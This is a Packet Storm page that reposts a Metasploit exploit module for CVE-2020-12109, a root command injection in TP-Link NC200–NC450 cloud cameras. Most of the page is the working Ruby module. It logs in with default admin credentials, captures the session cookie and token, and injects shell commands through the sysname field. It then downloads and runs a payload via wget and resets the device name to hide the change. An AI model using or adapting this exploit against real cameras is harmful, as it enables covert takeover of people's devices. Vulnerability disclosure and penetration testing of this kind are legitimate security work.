what you don't know can hurt you

TP-Link Cloud Cameras NCXXX Bonjour Command Injection

TP-Link Cloud Cameras NCXXX Bonjour Command Injection
Posted Sep 18, 2020
Authored by Pietro Oliva | Site metasploit.com

TP-Link cloud cameras NCXXX series (NC200, NC210, NC220, NC230, NC250, NC260, NC450) are vulnerable to an authenticated command injection vulnerability. In all devices except NC210, despite a check on the name length in swSystemSetProductAliasCheck, no other checks are in place in order to prevent shell metacharacters from being introduced. The system name would then be used in swBonjourStartHTTP as part of a shell command where arbitrary commands could be injected and executed as root. NC210 devices cannot be exploited directly via /setsysname.cgi due to proper input validation. NC210 devices are still vulnerable since swBonjourStartHTTP did not perform any validation when reading the alias name from the configuration file. The configuration file can be written, and code execution can be achieved by combining this issue with CVE-2020-12110.

tags | exploit, arbitrary, shell, cgi, root, code execution
advisories | CVE-2020-12109
MD5 | 65581bfcfd69f6bd2c8b8917eda921c4

TP-Link Cloud Cameras NCXXX Bonjour Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'TP-Link Cloud Cameras NCXXX Bonjour Command Injection',
'Description' => %q{
TP-Link cloud cameras NCXXX series (NC200, NC210, NC220, NC230,
NC250, NC260, NC450) are vulnerable to an authenticated command
injection. In all devices except NC210, despite a check on the name length in
swSystemSetProductAliasCheck, no other checks are in place in order
to prevent shell metacharacters from being introduced. The system name
would then be used in swBonjourStartHTTP as part of a shell command
where arbitrary commands could be injected and executed as root. NC210 devices
cannot be exploited directly via /setsysname.cgi due to proper input
validation. NC210 devices are still vulnerable since swBonjourStartHTTP
did not perform any validation when reading the alias name from the
configuration file. The configuration file can be written, and code
execution can be achieved by combining this issue with CVE-2020-12110.
},
'Author' => ['Pietro Oliva <pietroliva[at]gmail.com>'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12109' ],
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-12109' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2020/May/2' ],
[ 'CVE', '2020-12109']
],
'DisclosureDate' => '2020-04-29',
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE,
'Targets' =>
[
[
'TP-Link NC200, NC220, NC230, NC250',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux',
'CmdStagerFlavor' => [ 'wget' ]
}
],
[
'TP-Link NC260, NC450',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux',
'CmdStagerFlavor' => [ 'wget' ],
'DefaultOptions' => { 'SSL' => true }
}
]
],
'DefaultTarget' => 0
)
)

register_options(
[
OptString.new('USERNAME', [ true, 'The web interface username', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The web interface password for the specified username', 'admin' ])
]
)
end

def login
user = datastore['USERNAME']
pass = Base64.strict_encode64(datastore['PASSWORD'])
if target.name == 'TP-Link NC260, NC450'
pass = Rex::Text.md5(pass)
end

print_status("Authenticating with #{user}:#{pass} ...")
begin
res = send_request_cgi({
'uri' => '/login.fcgi',
'method' => 'POST',
'vars_post' => {
'Username' => user,
'Password' => pass
}
})
if res.nil? || res.code == 404
fail_with(Failure::NoAccess, '/login.fcgi did not reply correctly. Wrong target ip?')
end
if res.body =~ /\"errorCode\"\:0/ && res.headers.key?('Set-Cookie') && res.body =~ /token/
print_good("Logged-in as #{user}")
@cookie = res.get_cookies.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/)[0][1]
print_good("Got cookie: #{@cookie}")
@token = res.body.scan(/"(token)":"([^,"]*)"/)[0][1]
print_good("Got token: #{@token}")
else
fail_with(Failure::NoAccess, "Login failed with #{user}:#{pass}")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Connection failed')
end
end

def enable_bonjour
res = send_request_cgi({
'uri' => '/setbonjoursetting.fcgi',
'method' => 'POST',
'encode_params' => false,
'cookie' => "sess=#{@cookie}",
'vars_post' => {
'bonjourState' => '1',
'token' => @token.to_s
}
})
return res
rescue ::Rex::ConnectionError
vprint_error("Failed connection to the web server at #{rhost}:#{rport}")
return nil
end

def sys_name(cmd)
res = send_request_cgi({
'uri' => '/setsysname.fcgi',
'method' => 'POST',
'encode_params' => true,
'cookie' => "sess=#{@cookie}",
'vars_post' => {
'sysname' => cmd,
'token' => @token.to_s
}
})
return res
rescue ::Rex::ConnectionError
vprint_error("Failed connection to the web server at #{rhost}:#{rport}")
return nil
end

def execute_command(cmd, _opts = {})
print_status("Executing command: #{cmd}")
sys_name("$(#{cmd})")
end

def exploit
login # Get cookie and csrf token
enable_bonjour # Enable bonjour service
execute_cmdstager # Upload and execute payload
sys_name('NC200') # Set back an innocent-looking device name
end

end
Login or Register to add favorites

File Archive:

June 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    35 Files
  • 2
    Jun 2nd
    14 Files
  • 3
    Jun 3rd
    40 Files
  • 4
    Jun 4th
    22 Files
  • 5
    Jun 5th
    1 Files
  • 6
    Jun 6th
    1 Files
  • 7
    Jun 7th
    19 Files
  • 8
    Jun 8th
    14 Files
  • 9
    Jun 9th
    39 Files
  • 10
    Jun 10th
    20 Files
  • 11
    Jun 11th
    22 Files
  • 12
    Jun 12th
    2 Files
  • 13
    Jun 13th
    1 Files
  • 14
    Jun 14th
    32 Files
  • 15
    Jun 15th
    34 Files
  • 16
    Jun 16th
    9 Files
  • 17
    Jun 17th
    33 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close